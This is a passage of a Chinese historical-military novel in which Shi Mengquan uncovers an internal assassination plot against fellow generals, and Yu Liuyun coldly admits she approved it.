孤注一掷,他唯有一试。便三步并作两步冲下楼去,寻到了地窖的如口,进去一看,大喜过望:一坛坛整齐地排列着,虽然不多,但是也足够他用了。因一手抱起一坛来,余下的抬脚淅沥哗啦全部踢碎。他一边朝一楼跑,一边打开一坛酒往地上倒。出到一楼,又接着往春风楼的南楼和东楼转,到北楼的时候,他身后已经画了长长的一条酒线,而两坛酒也已经用光了。 事不宜迟,他打起了火折子朝身后一丢,跟着扑出了窗外。 火苗立刻就窜了上来,沿着酒的痕迹将四座楼全都点燃,加上有北风推波助澜,不一刻,春风楼已然化为一片火海。楼上楼下的交战双方都发觉了,郑军知道退路被人截断,慌了神,攻势明显减弱,而樾军看到了转机,精神振奋——刚好火光帮他们照亮了敌人,骁骑营本来就箭法高明,这时几乎每一箭都能射中一个敌人,胜负立刻逆转。 只是,石梦泉来不及舒一口气,便忽然听到耳边一阵劲风。他偏身闪开,发觉是一个郑军俘虏,显然是用火烧断了身上的绳索,拣了把兵器也加入到战斗中来。他自然不惧此等闲之辈,飞起一脚就将那人的刀踢开,跟着一拳直打在对手的胸口上,这人就仰天摔倒下去。可这个才解决,边上又有另一个郑兵杀了过来,两手各持一支羽箭当成分水峨嵋刺来使,虽然威力大减,可是这人招式变化极快,又只攻不守,纯是不要命的打法,石梦泉想要迅速脱身也不可能。他一面应付一面迅速地环视四周,只见许多郑军俘虏都已经挣脱了束缚,随手拣起件兵器就朝樾军杀了过去。樾军又要对付眼前,又要应付楼上,才取得的一点点优势立刻又消失殆尽。 正在他暗叫糟糕之时,猛地听到楼外面一阵马蹄声,隆隆如雷。不知来的是敌是友?才想着,已经有好几匹矫健的骏马驰进了火场,马上骑手个个身手敏捷,长枪直刺,大刀挥砍,每一招每一式都认准了圈中的郑兵——这正是留守他处的骁骑营前来支援了。 这才算是有了一丝希望!石梦泉看准对手的空挡一掌切在他的腕子上,同时错步上前,用手肘撞其心口,那人只顾进攻根本没有防备,立刻倒地。石梦泉又趁势拿过他的一支羽箭,直刺到迎面而来的另一个敌人的胸腹之间,那个敌人也仰天跌倒。他才离开了苦斗。 这一刻的功夫,得到支援的樾军占了上风,天井中的郑军被骁骑营全部斩杀,而春风楼上埋伏的敌人则随着楼房的坍塌葬身火海。 “混帐!混帐!” 石梦泉还可以听到吕异的叫骂之声。他寻声望过去,见陈灏依然护卫在吕异的身旁。吕异除了头盔丢失满面烟火之色外,并无丝毫的损伤,而陈灏的肩上、手臂上则插了数支断箭——军队之中下级保护官长是不可推卸的责任,虽然陈灏和吕异意见不和还是依然尽职尽责,这样的士兵正是部队所需要的啊! “哪里还有郑狗?”吕异咆哮道,“胆敢暗算本将军?本将军要把你们都碎尸万断!本将军他日杀进郑国要把你们的老婆孩子老爹老娘也统统碎尸万断!” 如果不是你一意孤行要来这里将郑军赶尽杀绝,又怎么会中了别人的埋伏?石梦泉痛心地想:若这也是郭罡计策的一部分,看来郭罡也把吕异给看透了! 正想着的时候,突然看到一道刺目的白光从空中闪过,他不禁呼出了声:“小心!”可是现场那么混乱,吕异根本听不见,倒是陈灏发现有箭矢飞来,急忙将吕异推开一边,而自己躲闪不及,肩头又中一箭。 吕异呆了呆:“他娘的,敢暗算……” 后面的话还没说出来,又见白光一闪。两次攻击间隔如此之短,所有人都惊呆了。石梦泉飞纵出来意欲凌空将羽箭抓住,可是那箭来得凶猛,他手才要触及箭身,弹指的功夫箭已经又离他半丈多远了。陈灏已经负伤想要舍身相救也来不及,吕异瞪着眼张着口,眼睁睁地看着那箭射到了自己的面前,接着刺中了他的眉心,射穿他的头颅。 “敢暗算老子……”他终于把这几个字说完。血从他的后脑飞溅出来。他整个人栽倒下去。 “将军!吕将军!”陈灏蹒跚着走到跟前——大战还没有正式开始樾军已经死了一名总兵一名将军,这是多少年来也不曾遇到过的。“还有埋伏!大家千万不要让敌人逃脱!”他高声命令。 “是!”樾军整顿散乱的队伍,准备对春风楼做地毯式的扫荡。 “石将军——”陈灏看到怔怔立在雪地上的石梦泉,“石将军,我有负你的所托……” 石梦泉摇摇头:“不,你没有……这件事……”这件事他现在也不知道要怎么说才好,眼下富安城里一片混乱,郭罡打算怎么收拾残局?或者他根本就没想要收拾?就是要这种敌死一千我伤八百的混乱局面? 正想着,忽然听到远处又传来一阵人声,步伐如此整齐,仿佛是大部队开到了。不久,便有骁骑营兵士来向陈灏报告:“都尉,是刘将军到了城外了!” 刘子飞!石梦泉登时明白了——只不过豁然之后,看到的是更多的阴云:郭罡是要把这伤亡惨重的现场留给刘子飞,让这个以贪婪残暴而著称将军再发一通狂,把局势弄得更加糟糕,在乱军中依样画葫芦结果刘子飞;如此一来,富安和瑞津的兵变就死无对证! “将军?”陈灏向石梦泉请示下一步的对策。 “你快去拦住刘将军。”石梦泉道,“郑军设下圈套害死范总兵和吕将军的事你可如实向他汇报。告诉他现在天黑,城中可能还有残余郑军,为了大军安全,让他千万不可进城,等到天亮再说。” 陈灏点了点头:“要不要吩咐人继续搜捕郑军?” “城西还有两个埋伏点。”石梦泉道,“不过里面都是些老弱病残,而且那几个地道的退路都被封死,我让邵参将看守着,这些人应该出不来。至于其他地方……”他想了想,郭罡老奸巨滑,似乎一切都早在他的计算之中,如果一味的被动应付就会一直按照他的计划发展下去,只有主动出击,才能跳出他的圈套。于是他道:“不要搜捕了,这时候敌暗我明,我们的人越是分散越是容易被袭击。你尽快把人集合起来,加强戒备。另外,请罗副将到西城门边上来见我。” 陈灏道:“是。”便要去办事。 石梦泉又道:“等等,你拿着这个。”抛过一个小瓶子去,原是伤药:“这是西瑶的伤药,止血很有效的,你快敷上吧。” 陈灏感动得两眼发热:“将军——” 石梦泉摆摆手:“快去吧。”这药自那日皇宫法会玉旒云受伤后他就一直带在身边。玉旒云现在怎样了? 樾军本来就不可能全部开入富安,听了城中的惨剧,刘子飞即下令就地在城外扎营。此时雪势愈加猛了,对面几乎都不见人,将士们安营十分困难,直折腾到后半夜才算勉强安顿了下来——城里一片漆黑,城外的营地灯火通明,就像是一堆熊熊燃烧的木炭,如果能从高空看下来,在这死寂的大地上必然显得无比诡异。 接着就是等待天亮了。 可是快到四更天的时候有几名骑手快马驰进了富安城 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“老弱病残怎么啦?”刘子飞道,“老弱病残就不是郑国人了么?走,咱们过去看看!”说着,翻身上马。 “将军,这不大好吧?”随行的道,“吕将军就是要去看伏兵才遇害,现在我们只有这几个人,万一……” “万一什么?”刘子飞道,“你不是说那里都是老弱病残么?要是老子连几个老弱病残也对付不了,老子还做什么将军?”顿了顿,又扫视了随行的一眼,道:“要是你们他娘的也对付不了老弱病残,你们也都是草包,趁早回家种地去吧!”话音落下,他已经扬鞭催马向春风楼外而去了。随行的人无法,也只好都上马疾追。 不多时,一行人就来到了城西的一处地道口。邵聪的兵士还在原处看守着,因为雪实在太大了,他们正躲在废宅的屋檐下,看到几骑前来,都出声喝道:“什么人?” 这边答道:“是刘将军来了,你们还不快快把俘虏押出来?” 士兵们怔了怔:“什么俘虏?没有这回事!” 这边即骂道:“混帐!没有俘虏你们在这里干什么?现在吕将军和范总兵遇害,刘将军就是瑞津和富安的最高统帅,他说什么,你们就要做什么。你们聋了还是瘫了?还不动手?” 邵聪的手下相互看了一眼:“现在大雪已经把这里都封死了,地道口也看不见,郑军俘虏早被活埋地下,何必要挖出来?” “叫你们挖就挖!”这边厉喝道,“郑军狡猾无比,害了范总兵又害吕将军,如果不能把他们一个个都开膛破肚挖出心肝来,怎么能够安慰吕将军和范总兵的在天之灵?” 另一人也道:“正是,就要把这些人统统杀了,明天挂在东城墙上,保管我们这边还未冲锋,靖杨的郑人就已经吓破了胆。” 第三个人跟着附和:“不错,少时攻破郑国都城,还要把那些什么皇叔皇子的全都杀了,告慰吕将军在天之灵!” “还不快挖!”刘子飞沉声命令,北风里,他的嗓音听来沙哑无比,“莫非这点儿小事还要本将军亲自动手么?” 邵聪的手下们无法,只有走到雪地里来,拔出腰刀,有一下没一下地挖掘。 刘子飞看出他们是想敷衍了事,拿马鞭子在空中“啪”地一抖:“你们别想糊弄本将军!否则连你们也一并治了!” 邵聪的手下满面不服,抬头看了一眼那阴影中模糊不清脸孔——他们都没过刘子飞,暗想:说话这样可恶,一定也是个满脸横肉的家伙,最好跟范柏和吕异一样死于非命! 他们又看看刘子飞的随从们,亦是一个不识,而且连马都不下,只是周围不停转悠,根本没打算上前来帮忙挖掘。他们心中愈加忿忿:真是上梁不正下梁歪!看你们得意到几时! 雪一直不停,单凭两三个人挖掘根本就毫无成效,才掘出一个坑,转眼又被填上了。过了一柱香的光景,刘子飞显得很不耐烦,抱怨道:“这就挖到天亮也见不到个鬼影——还有一处地道在哪里?咱们先到那边去瞧瞧。” “启禀将军,就在隔壁不远。”一个随从回答,“咱们这就过去” 刘子飞道:“好。”又吩咐几个手下:“你们几个留下,看着他们挖。”便拨转马头,朝废宅外去。 可偏偏就在此时,夜空中白光一闪。那随从喝道:“将军小心!”话音落时,刘子飞已经从马上飞纵而起,凌空一翻躲过了那致命的羽箭,而他的随从则早就朝羽箭发出的方向直冲了过去。 邵聪的手下看得目瞪口呆,未反应过来,只见刘子飞也在马鞍上一踏,借力跃了出去扑向刺客的藏身之处。 这时刺杀的手段和方才对付吕异的没什么区别,然而现场却不及春风楼那么混乱,夜空虽黑,但没有火光和浓烟的干扰,方向可辨别得一清二楚。两条人影先后消失在雪网中,不时就见到雪花狂乱地飞舞,仿佛是起了旋风,显然是已经和杀手交上了手。又过得片刻,只听有人喝了声:“怎么是你?”接着那“旋风”止住了,邵聪的手下看到刘子飞和他的随从架着一个人从远处的房顶上跃了下来。到得跟前,火把的光一照,大家不禁吃了一惊:被抓着的不就是邵聪么?而刘子飞和他的随从都扯下了遮住口鼻的布——这哪里是刘子飞呢?根本就是石梦泉,那随从就是罗满。 “邵参将!”石梦泉既惊又怒,“为什么是你?你怎么能向自己的将军下手?” 邵聪也是惊讶万分:“石将军,你不是去找玉将军了么?为什么又回来?” 石梦泉道:“我不回来,怎么能把你捉出来?吕将军就是你杀的,对不对?我如果不回来阻拦,你就要连刘将军都杀了?然后怎样?是不是郭罡叫你这么做的?” 邵聪道:“石将军,不论我做什么,都是为了大局,我问心无愧。” “什么问心无愧?”石梦泉怒道,“牺牲了这么多自己人,你这叫问心无愧么?” “将军!”邵聪道,“郭先生说的没错,你的心太好,成大事的人不能这样。如果不除掉范柏、吕异和刘子飞,玉将军和你就不能重新掌握兵权。军队里若是一团混乱,咱们怎么出去杀敌?” “你果然是开始就什么都知道!”石梦泉盯着邵聪,满眼尽是沉痛和失望,“从一开始在梅岭你就想着要把范总兵和吕将军引到死路上来,是不是?”想到了这一点,其他的疑团也就全都解开:“什么样的郑兵藏在什么地方的地道里,是早就计划好的,堵哪一处不堵哪一处,也是计划好的——你把春风楼地道里的郑兵放出来,然后叫人通知吕将军到春风楼去屠杀,就趁乱害死了他,你……” 邵聪不否认:“不错,一切都是郭先生的计划。只要能使玉将军重新掌握兵权,带领大家拿下郑国,小小牺牲算不得什么——石将军,你没有被人无缘无故从参将差遣到伙房去,你不知道作为一个军人跟了一个无赖军官会是多么悲惨!” “你住口!”石梦泉道,“你既是军人就知道军队之中讲求绝对的服从,什么时候下级可以议论上级了?如果人人都有自己的想法,都可以为了自己的不满就胡乱行事,那么你跟范柏有什么分别?那这军队还成何军队?” “这怎么不是服从命令了?”邵聪道,“郭先生现在是玉将军的幕僚,相信他的计策是得到玉将军首肯的。” 玉旒云的首肯。这是石梦泉最不愿意听到的。“是玉大人亲口对你说的么?”他问。 邵聪摇摇头:“玉将军和郭先生兵分两路,她早已去到朱家坝。郭先生留下来处理富安的事。” “郭罡还要你做什么?”石梦泉问。 邵聪道:“我不能告诉你。石将军,郭先生本来是要你一杀出总兵府就立刻去朱家坝见玉将军。这里的事情你就不要再管了。” “我不管?”石梦泉道,“郭罡接下来还要害死多少人?你快老实跟我说!我决不允许这种事再发生。” 邵聪咬着嘴唇定意决不泄露。 石梦泉气得直发抖:“好,你不说?罗副将,这就押了他去见刘将军,看他还怎么继续胡闹下去!” “将军!”邵聪推开罗满,“将军如果日后要追究范总兵和吕将军的死,我邵聪愿意以命抵命。只是现在去见刘将军,那先前的努力就白费了,在春风楼和富安城其他地方阵亡的弟兄也就白死了。” “你也晓得他们死了么!”石梦泉嘶声道,“如果你一开始就把郭罡的诡计告诉我,我好在梅岭阻止一切……” “你能阻止什么?”邵聪道,“刘子飞和吕异已经来了,纸是包不住火的。他们只会给玉将军和你带来麻烦。石将军,当我求你,你快离开这是非之地吧!” 石梦泉怔了一怔:的确,让刘子飞和吕异知道他和玉旒云在富安的所作所为,麻烦就大了。可是,难道没有比杀掉此二人更好的解决方法吗? 邵聪还在催促:“石将军,你快走吧。我不怕跟你说,我知道你叫陈都尉把刘将军拦在城外,我已经叫人去给他通传消息了,他应该就在赶来此地的路上。如果不是吃准了他会来,我如何会在这里守侯,又怎么会把你当成了他?” “什么?”石梦泉一惊,但知道这也是情理之中的——他自己找了罗满商议对策,决定假扮成刘子飞来擒拿杀手,但是并不知道杀手藏匿于何处,因此从春风楼一路招摇了过来,心中还是一直担忧,恐怕这杀手知道刘子飞被拦在了城外就放弃在富安刺杀的计划。同样的,邵聪如果不知道刘子飞会去什么地方,怎么好埋伏刺杀?他当然是早就安排好的。 “将军你快走!”邵聪道,“如果让刘将军看到你在这里,会牵连到玉将军的,我们就前功尽弃了!” 可恶!石梦泉知道自己的确不走不行,但是他如何能眼睁睁看着邵聪杀死刘子飞?因招呼罗满:“你们留下应付刘将军,邵聪,你跟我走!跟我去见玉将军!”说着,一把捏住了邵聪的肩胛把他摔到了自己的马上,跟着也飞身上马。 他现在恨不得立刻飞到玉旒云跟前,揭发郭罡的所作所为——不,他想问问玉旒云,这些究竟有没有得到她的首肯。至于富安这边,郑国二皇子死了,范柏死了,吕异死了,邵聪被他抓到,暂时还不会让刘子飞捉住什么把柄。他不管郭罡还一步是什么计划,他要阻止,不能够再继续下去。 这样想着,他狠狠地一夹马腹。坐骑一声长嘶,撒蹄疾奔。 然而这个时候,对面也传来一阵急促的马蹄声,听人喝道:“来者何人?” 糟了!他拉起面罩,伏在马背上企图直冲过去。但很快就发现自己是冲到了一队人马当中。对方响起了一阵纷乱的呼喝之声:“恐怕是郑国奸细!快快拿下!”喊声未落,已经有好几把刀朝他砍了下来。 既不能左闪,也不能右避,他躲无可躲,只有挂下马来。可是,后面又杀来一个使长枪的兵士,一枪扎在他的马臀之上。马儿吃疼,哀鸣一声立了起来,立刻将他和邵聪摔到了雪地上。 “还不投降?”四面八方兵刃乱下,石梦泉听到其中有赵酋的声音。虽是自己的部下却有不能相认,只能竭力朝边上滚开。 不过赵酋武功过人,黑夜里也看不清对手的面目,只道真是郑军奸细,看到身形晃动,提刀便砍。石梦泉身手自然在他之上,向边上斜斜地一扑就闪开了。然而,所来的樾军甚多,躲开了这个躲不开那个,闪过赵酋的攻击却险些撞到另一个人的枪尖儿上。 “别叫他们跑了!”这是刘子飞在喊话,“他娘的,用这种下三滥的计策害了吕异,还想再暗算老子么?” 真是糟糕!石梦泉不能和他们缠斗,且知道罗满就在附近,如果被刘子飞发现,他也不好交代。 正这时,他听得耳边一阵劲风知道是背后有钢刀砍下便急忙朝前避让,可是面前又有一道寒光刺来,他根本就无处可走。心中不觉一凉:莫非我命丧于此么? 而只是这眨眼之间,猛地一条黑影扑到了自己身上,将自己揿进了雪毯,而那些利器就全都扎在了黑影的身上。 “将军……”邵聪在他耳边轻轻道,“我的确是问心无愧的,你快走!” 石梦泉一愕,寒光烁烁已经都逼到了他的面前,再也无法脱身了。 “是我连累了你……”邵聪说着,还想挣扎着站起来帮石梦泉杀开一条生路。可是身子猛地一挺,已经气绝。 石梦泉感到心中刀割针扎一样的疼。 刘子飞道:“还不把这奸细给绑了!” “是!”士兵们都答应。拖开了邵聪的尸体,将钢刀都架在石梦泉的颈子间。 赵酋上前来一把拉下了他的面罩,跟着就呆住了,赶忙想用身体遮掩。可是已经来不及,刘子飞的火把已经指到了跟前,一惊:“石梦泉?怎么是你?” 59. 第 59 章 这下糟了!石梦泉看到刘子飞那似笑非笑的模样,晓得自己拖累了玉旒云。早知道就应该顺着郭罡的计划……然而他又怎么能够…… 现在要怎样?他脑海中飞快地转过几个念头:这里都是自己在瑞津的部下,既然认出了他,一定不会和他再动手,他可以夺过一把刀来杀了刘子飞。可是,费了这么大的周章,连邵聪也牺牲了,不就是为了救刘子飞一命吗?但是,玉旒云怎么办?让刘子飞活命,就是要把玉旒云推上绝路…… 如果是这样……如果是这样……他拳头握得很紧,能清晰地感觉到血管在一跳一跳地疼——赵酋就在他旁边,赵酋的刀就在唾手可得之处…… 刘子飞还在笑,一种仿佛洞悉了一切的笑容:“你不是在打猎么?打猎打到这里来了?你……” “刘将军!”蓦地雪网中响起一个冰冷的声音,“我们打猎打到哪里关你什么事?倒是你应该驻守瑞津,怎么带着部队来到这里?” 大家都是一惊。石梦泉不知全身的血液是沸腾了起来还是顷刻冻结,他看到一人一马慢慢地走进了火把的光辉之中。是玉旒云,披风黑沉沉的,像是黎明之前的天幕。她后面跟着邓川等几十个兵士,可能是因为方才大家只顾着打斗,所以没有听见马蹄声。 刘子飞愕了愕,接着哈哈大笑:“我说你们两个是焦不离孟孟不离焦,石将军在这里,玉大人你也必定在这里。怎么,什么珍奇猎物把你们二位引到富安来了?” 玉旒云冷着脸:“我爱怎么打猎好像没必要跟你说吧?梦泉,我们走。”说着向石梦泉伸出一只手来,要拉他上自己的马。 然而刘子飞鞭子一挥,插在两人中间:“呵呵,玉大人,俗话说‘独乐乐不如众乐乐’,我刘某人一向都对这句话十分推崇。你们两个打猎打得这么开心,如果愿意带上我刘某人的话,我刘某人攻打郑国也愿意带上你们。” 玉旒云看了他一眼。石梦泉也呆了呆,没想到刘子飞会这么直接。但转念一想,刘子飞大概以为吕异的死是出自玉旒云的安排,现在她突然出现,刘子飞不清楚她会不会对自己也痛下杀手——他虽然带着三万人马,却统统是玉旒云的部下,等于是把性命交到了别人的手中,当然还是选择合作比较好。 只是,吕异的死真是玉旒云首肯的吗?这疑问像刀一样不停地绞着石梦泉的心。 刘子飞笑了笑:“怎么?郑国是个烂摊子,攻下它来功劳虽然不算大,但是京官私自跑到地方军营里来领兵,这罪过却也不小——弄不好会被人参谋反的,何况范总兵和吕将军都遭横死,这可越发叫人怀疑了。” 玉旒云皱了皱眉头:“吕异死了?”她时常是一副毫无表情的样子,这时也委实看不出她是真惊讶还是假吃惊。 刘子飞道:“据说是被郑军伏击,死得很惨。这个仇是一定要报的!虽然外面传言玉大人和吕将军不和,但是我想这是吕将军自己不好,以玉大人的气量……呵呵,总不至于跟死人计较吧?而且,你出面替吕将军报仇雪恨,正好可以辟谣,一举两得,何乐而不为?” 玉旒云冷冷地:“我不知道你在说什么,什么一举两得。我只看到你用刀胁迫我的部下——梦泉,我们走。”她用鞭子推开了刘子飞的手臂。可是石梦泉怔怔的站着,没有移动。刘子飞就又有机会挡了上来。 “年轻人,别在我面前装傻了。”他啧啧笑道,“富安的这件事忒也蹊跷,如今你突然出现,一切迷团就全解开了——莫非你胃口太大,想把郑国一个人吃下去?那好,反正这里都是你的人,快快把我也杀了,这才是瞒天过海呀!” “你说什么!”玉旒云厉喝一声。 “敢做为什么不敢说呢?”刘子飞道,“哎呀,还是你现在连做也不敢做了?我认识的玉旒云应该不是一个只敢在背后捅刀子,却不敢当面杀人的角色啊!快动手吧——或者你要叫石梦泉代劳?来来来,石将军,不要客气。反正刘某人现在已经落到你们手里,你们……” 玉旒云这时斜睨着他,一言不发,就像静静飘落的雪花,可是杀意刺骨,仿佛无孔不入的北风,在场的每一个人都能感觉得到——刘子飞再这样说下去,玉旒云可能真的会杀了他。 不过,死寂里突然传来了几声干笑:“刘将军,好好儿的说什么杀呀死呀的?”是郭罡骑着马转到前面来了。 刘子飞认得他:“是你!” 郭罡哈哈一笑:“不错,正是老夫。没想到将军还能记得区区不才在下,实在荣幸啊!” 刘子飞看了看他,又看了看玉旒云:“哦,原来你是她的人,现在我就更加明白了。” “明白什么?”郭罡笑,“将军,真真假假,很多事不是看表面就能判断的,别说那表面是一天一个样儿,就连真相也是瞬息万变,方才是真的,现在就是假的,现在是假的,一会儿又可能是真的,何必计较太多?” 刘子飞道:“不计较?吕异就是计较的不够,现在成了冤魂。我来射你一箭试试,你计较不计较?” 郭罡道:“老夫一介草民,将军射我有什么意思?要射也是射郑国的皇叔才是——现在二皇子已经死了,他就成了郑国王位最有势力的角逐者,只要杀了他,郑国就彻底散了。” 刘子飞瞟了他一眼:“呵,这还用你说?我大军来到这里,自然就是为了要灭郑国。但是看情形,我只怕忙了半天却为他人做嫁衣裳!” 郭罡道:“这怎么会呢?咱们明人不说暗话,今日玉大人会来到这里,目标自然就和刘将军的一样。既如此,老夫以为,不管之前大家做了什么,猜想着什么,只要以后相互取长补短,精诚合作,有什么事办不成呢?” “我是有此打算。”刘子飞道,“但是就怕玉大人不肯。”他看了看玉旒云,又看了看一脸疑问与痛心的石梦泉,心中豁地一亮:石梦泉虽然是玉旒云的心腹副手,但是他是一个忠直无比的人,无论如何也不会加害自己人;就算玉旒云有心排除异己,只要他刘子飞粘住了石梦泉,应该就死不了。而且以现在的情形看来,连石梦泉也怀疑吕异是玉旒云所害,因此心里矛盾不已。如果他能够从旁煽风点火,说不定能离间这两人之间的关系……这样一想,不由大喜,翻身跃下马来,很亲热地拍了拍石梦泉的肩膀,道:“石将军和瑞津的将士情谊深厚,指挥起来肯定得心应手。说不定能够施展巧计,不伤一兵一卒就攻下郑国——石将军,我想你的部下也很想你回到他们中间呢!” 这时罗满也已到了跟前,和赵酋打了个照面,两人都有万千疑问,可还没到问的时候。他们听刘子飞说这样的话,虽顾不上计较真心假意,可确实是说中了他们心中所念,便都渴盼地望着玉、石二人。 郭罡笑道:“刘将军说笑了——玉大人怎么会不肯呢?许多人都误会玉大人是个眼里容不下一粒沙子的人,但其实玉大人看得很长很远——将军请想,如果一场仗打到了胜负生死的关头,人岂会有空闲去揉眼中的沙子么?” 刘子飞怔了怔,笑道:“这个比喻果然精妙!”瞥了一眼玉旒云,见她满面冰霜杀意依旧凛冽,然而却并没有要拔剑的意思,静静良久,终于开口道:“不错,刘将军你千辛万苦把我的人马从瑞津带到这里,帮了我一个大忙,我怎会不跟你合作?我还要先谢谢你呢!”说时,竟真的在马背上朝刘子飞拱了拱手。 刘子飞看她并不像是在说反话,心里才稍稍轻松了些,笑道:“玉大人何必客气?去年你我一同攻下梁城灭亡铴国,那场仗打得可实在是精彩又痛快。我刘某人至尽还记忆犹新哩。虽然在大青河咱们没能并肩作战,但是我相信,日后灭郑国的一仗也会痛快淋漓精彩备至,呵呵!” “刘将军,”郭罡笑嘻嘻地插话,“老夫有一些浅见,不知将军觉得有没有道理——其实一场仗到底有多精彩、多痛快,并不是看战场上怎么打,而是看战报怎么写。除了输赢的事实不能改之外,究竟这是惊天地泣鬼神的一场苦战,还是一路苦凯歌轻松取胜,又或者是巧计连环反败为胜——反正兵部的人看不到,还不是随便将军怎么写?老朽不才,专门喜欢研究古时战记,装了满肚子战场奇闻,可惜郑军屡战屡败,所以我一直就是搜肠刮肚地替他们找借口。若是将军不弃,这次战后由老夫来写战报,保证叫兵部的人看傻了眼,如何?” 刘子飞眯眼睛看着这个丑陋的男人,片刻,笑道:“呵呵,那你一定是能写得天花乱坠了。” 郭罡道:“天花乱坠老夫还不敢。战报就算有所夸大有所隐瞒也要合情合理才会使人信服。而且功夫不仅是在最后的报告上,之前也要有许多准备。既然将军愿意和玉大人合作,就请将军立刻修书一封,上奏朝廷,说明吕将军和范总兵在富安不幸中伏遇害之事,再汇报玉大人和石将军游猎来此,是将军你请求他们留在军中助你一臂之力的——这样一来,老夫日后也好办事。” 这不是要他帮玉旒云掩饰?刘子飞想断然拒绝,可是话到嘴边,一看四周,连一个自己人也没有,凭什么拒绝呢?他恨恨地瞪着郭罡,暗道:老家伙可真狡猾! 郭罡只是笑:“其实这对大人并没有一点害处——既然玉大人和石将军是助你‘一臂之力’,自然你就是军中统帅,打下郑国的头功也是你的,何乐而不为呢?” 刘子飞知道这是敬酒,若再拒绝就只有喝罚酒了,因皮笑肉不笑地“嘿嘿”了两声,道:“不错。那就这么办。” 郭罡道:“好,好极了!那还等什么?这就到总兵府中生起碳炉来,暖暖身子好写信——至于怎样不费一兵一卒就取下郑国,老夫也有些浅见想讲给刘将军听呢!”说着,又对旁边的士兵道:“来,咱们让开道儿,好让刘将军走。” 刘子飞无法,只有恨恨地上了马,同郭罡并辔而行。众士兵还要等玉旒云,而她只道:“你们先跟上去。留一匹马给石将军。” 众人便应了,连满腹疑问的罗满等人也都跟上,雪地里转瞬就只留下玉、石二人。 石梦泉静静地看着地上杂乱的马蹄印,雪下得又紧又急,顷刻就把一切痕迹都覆盖了。可他心里的疑问只有更深,翻滚着,冲撞着,好像要刺破胸膛出来寻出究竟。但是,他的人被冻僵了,既冷且硬,话语都出不来,只得在内煎熬。 他们两人之间从没有过这样可怕的沉默。就算有时大家都不说话,思考得出了神,先开口的也都是石梦泉,他会叫人上茶,或者突然指着窗外的一只小鸟,让大家都从苦思中抽离出来。往往,一个好主意就在这时候诞生。 但这天却是不同的。他们两个都快变成雪人了,石梦泉还是一言不发。 玉旒云的马打了个响鼻。她才也感觉到衣服已经湿透,便道:“我们走吧。” 石梦泉像是木偶似的点了点头,翻身上马。 “你没有受伤吧?”玉旒云看了看他。 石梦泉默默地摇头。 玉旒云道:“我在朱家坝等你回来,郭罡说你应该下午就到,可是傍晚的时候还不见,我怕你出了事,所以带几个人来看看。” 石梦泉还是没说话。 玉旒云道:“我来的路上遇到了郭罡——连他都回来了还不见你,我就更担心了。他还想阻拦我,但是我可不听他的。后来他说,你耽搁了这许久,一定是富安情况有变,所以也就跟着一起来了。果然在这里遇到刘子飞……” 石梦泉依旧一言不发。 “你没有受伤吧?”玉旒云再次问,“都没事吧?” 这一次石梦泉终于出了声,就像是静静的雪,仿佛很镇定,又仿佛打着颤:“都是你计划好的么?” 玉旒云愣了愣:“什么?” “富安……”石梦泉道,“范柏和吕将军的死……刺杀刘将军的计划……都是你计划好的么?” 玉旒云没有回答,好像是默认了。 石梦泉有些不甘心,又加问一句:“是不是都是郭罡计划好的?你同意的?” 玉旒云仍旧不说话。石梦泉觉得心痛难当。他多么希望玉旒云能够否认,能够把一切都推到郭罡的身上,甚至,只是推卸责任,只是撒谎,也不要承认这狠毒的计策她也参与其中。然而他又太了解玉旒云了,只要是她做的,她不怕担当,尤其是过失。 “为什么?”明知道答案,还是要问。 玉旒云只是沉默地骑着马。 “为什么?”石梦泉这次提高了声音,“不论他们做过些什么,跟我们有多少意见不和,他们都是自己人。现在对自己人动了手,将来……将来……” 一阵风紧,吹落了玉旒云肩头的积雪。没有了那白色的勾勒,便看不清她的轮廓,她混入漆黑的天幕,仿佛消失了一般。 “大人!”石梦泉实在忍不住了,策马赶到她的前头,拦住她的去路:“大人,你答我一句话,随便什么话——我求你答我一句话!” 玉旒云不得不停了下来。“我也没有其他的选择。”她淡淡地说。 “怎么会……”石梦泉本想说“怎么会没有其他的选择”,但发觉这句话太愚蠢,便道:“郭罡心狠手辣,大人如今依了他的计策,向自己人动了手,总难免会被旁人知道。这样下去,将来还怎样领导军队呢?” 玉旒云紧抿着嘴唇看着他,好像是因为雪网的阻隔需要看得格外仔细似的,她的眼睛一眨也不眨。然后,突然冷冷说道:“同意郭罡这个计策的人是我,领导军队的人也是我。现在你没受伤,这很好。不过,你破坏了我的计划——如果刘子飞死了,我自信没人敢追究此事,而他现在还活着,我要头疼这个已经很麻烦了,还要听你质问——我觉得我没必要回答你的质问。这样说,够不够了?” 石梦泉一愕,风割在脸上,刺进眼里,叫人浑身麻木。 玉旒云一挥鞭子,骏马长嘶,撒开四蹄,绕过了石梦泉的阻拦,转眼就消失得无影无踪。 大雪连下了三天也没有停。不过刘子飞写给兵部的急信倒是在郭罡的监视下按时送了出去,这次除了是八百里加急之外,还叫骁骑营的两名兵士护送,确保此信可以平安送到西京。 瑞津的部队大多还不晓得玉旒云和石梦泉回到军中的真相,只是知道他二人回来“协助”刘子飞指挥部署此此攻郑之战。自大青河之后,将士们就盼望两人能重回军中,如今终于等到了,大家都欣喜兴奋。一听说他二人要到军中来检阅,早早就翘首以待,都想看看石梦泉身体是否完全恢复,玉旒云又是否英武如昔。 一见之下,果然没有失望。玉旒云一身月白便装,乘一匹通体雪白的骏马,雪地上遥遥驰来,仿佛天上的武神降世。而石梦泉一袭青衫跟随在后,在茫茫雪原上就好像一株破土而出的春草,带给人无限的期望和力量。相比之下,全副铠甲的刘子飞虽然极力做出赳赳之态,却显得老迈臃肿。 看了众兵士的操练,又随便聊起分别数月间的事。众人都听说玉朝雾皇后身怀龙裔,而石梦泉则被赵王爷招为女婿,免不了有一番恭喜。再讲起攻打郑国的计划,虽然具体事宜并不能透露,但人人都满怀信心——这头攻下了郑国,开春回朝后皇后也该产下太子,樾国今年正是双喜临门,庆澜帝说不定会大赦天下,还减赋三年呢! 虽然相谈甚欢,但大家还是觉得同以往有些不一样。过去玉旒云和石梦泉无论到了哪里都是并辔而骑,并肩而立,这次石梦泉却始终保持在玉旒云的身后,严守着君臣主仆之礼。几乎每个人都心中暗暗犯了嘀咕,但是看两个人的神色如常,又不像是出了什么事的样子,便又暗骂自己多心。就连卢进、韩夜等人,虽然发觉玉、石二人几乎相互没有说过一句话,也只是想:玉大人一向话不多,这并不奇怪。一笑了之。 不过,石梦泉的心里最是明白:三天了,他和玉旒云真的连一句话也没有说过。 他每晚都合不了眼,盯着被雪光映在窗纸上的树影,翻来覆去。 